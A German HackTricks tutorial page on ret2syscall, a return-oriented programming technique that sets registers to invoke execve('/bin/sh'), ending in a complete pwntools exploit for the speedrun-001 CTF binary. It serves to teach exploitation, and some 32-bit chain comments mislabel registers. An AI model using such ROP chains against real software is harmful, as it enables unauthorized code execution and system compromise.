Ret2syscall

Ret2syscall

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Dies ist ähnlich wie Ret2lib, jedoch rufen wir in diesem Fall keine Funktion aus einer Bibliothek auf. In diesem Fall wird alles vorbereitet, um den Syscall sys_execve mit einigen Argumenten aufzurufen, um /bin/sh auszuführen. Diese Technik wird normalerweise bei statisch kompilierten Binärdateien durchgeführt, sodass es möglicherweise viele Gadgets und Syscall-Anweisungen gibt.

Um den Aufruf des Syscalls vorzubereiten, ist die folgende Konfiguration erforderlich:

  • rax: 59 Sys_execve angeben

  • rdi: Zeiger auf "/bin/sh" gibt die auszuführende Datei an

  • rsi: 0 gibt an, dass keine Argumente übergeben werden

  • rdx: 0 gibt an, dass keine Umgebungsvariablen übergeben werden

Im Grunde genommen ist es erforderlich, den String /bin/sh irgendwo zu schreiben und dann den Syscall auszuführen (wobei auf das erforderliche Padding zur Steuerung des Stacks geachtet werden muss). Dafür benötigen wir ein Gadget, um /bin/sh an einer bekannten Stelle zu schreiben.

Ein weiterer interessanter Syscall, der aufgerufen werden kann, ist mprotect, mit dem ein Angreifer die Berechtigungen einer Seite im Speicher ändern kann. Dies kann mit ret2shellcode kombiniert werden.

Register-Gadgets

Beginnen wir damit, wie diese Register kontrolliert werden können:

ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret

Mit diesen Adressen ist es möglich, den Inhalt im Stack zu schreiben und in die Register zu laden.

String schreiben

Beschreibbarer Speicher

Zuerst musst du einen beschreibbaren Speicherplatz im Speicher finden.

gef> vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]

Schreiben Sie einen String im Speicher

Dann müssen Sie einen Weg finden, beliebige Inhalte an diese Adresse zu schreiben

ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx

Automatisiere ROP-Kette

Der folgende Befehl erstellt eine vollständige sys_execve ROP-Kette für ein statisches Binärprogramm, wenn Write-What-Where-Gadgets und Syscall-Anweisungen vorhanden sind:

ROPgadget --binary vuln --ropchain

32 bits

32 bits

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''

rop += popRdx           # place value into EAX
rop += "/bin"           # 4 bytes at a time
rop += popRax           # place value into edx
rop += p32(0x6b6000)    # Writable memory
rop += writeGadget   #Address to: mov qword ptr [rax], rdx

rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget

64 bits

64 bits

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx

Fehlende Gadgets

Wenn Ihnen Gadgets fehlen, zum Beispiel um /bin/sh im Speicher zu schreiben, können Sie die SROP-Technik verwenden, um alle Registerwerte (einschließlich RIP und Parameternregistern) vom Stapel aus zu steuern:

pageSROP - Sigreturn-Oriented Programming

```python from pwn import *

target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad')

Establish our ROP Gadgets

popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5)

0x000000000048d251 : mov qword ptr [rax], rdx ; ret

writeGadget = p64(0x48d251)

Our syscall gadget

syscall = p64(0x40129c)

''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget

''' Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0

syscall '''

rop += popRax rop += p64(0x3b)

rop += popRdi rop += p64(0x6b6000)

rop += popRsi rop += p64(0) rop += popRdx rop += p64(0)

rop += syscall

Add the padding to the saved return address

payload = "0"*0x408 + rop

Send the payload, drop to an interactive shell to use our new shell

target.sendline(payload)

target.interactive()

## Weitere Beispiele & Referenzen

* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
* 64 Bit, kein PIE, nx, schreibe in einen Speicherbereich ein ROP, um `execve` aufzurufen und dorthin zu springen.
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
* 64 Bit, nx, kein PIE, schreibe in einen Speicherbereich ein ROP, um `execve` aufzurufen und dorthin zu springen. Um auf den Stapel eine Funktion zu schreiben, die mathematische Operationen ausführt, wird missbraucht.
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 Bit, kein PIE, nx, BF-Canary, schreibe in einen Speicherbereich ein ROP, um `execve` aufzurufen und dorthin zu springen.

Last updated